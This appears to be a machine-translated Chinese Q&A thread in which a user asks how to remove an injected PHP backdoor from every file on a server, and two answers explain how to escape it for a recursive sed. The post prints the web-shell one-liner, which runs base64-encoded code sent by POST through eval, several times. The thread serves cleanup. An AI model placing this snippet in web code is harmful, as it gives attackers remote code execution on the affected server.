我有以下字符串被注入每个
if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}
如何删除它?
我正在尝试以下但没有太多运气:
find /home -type f -exec sed -i 's/if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}php if(@$_POST['test']){eval(base64_decode($_POST['test'])); exit();}//g' {} \;
答案 0 :(得分:0)
您的字符串包含许多在正则表达式中具有特殊含义的字符(例如$(){}[]
)。你需要逃避所有这些才能使sed
起作用。您还需要使用'\''
转义单引号。
答案 1 :(得分:0)
使用正则表达式参数的$''
语法,并转义分隔符'
,$
和[
:
find /home -type f -exec sed -i $'s/if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}php if(@\$_POST\[\'test\']){eval(base64_decode(\$_POST\[\'test\'])); exit();}//g' {} \;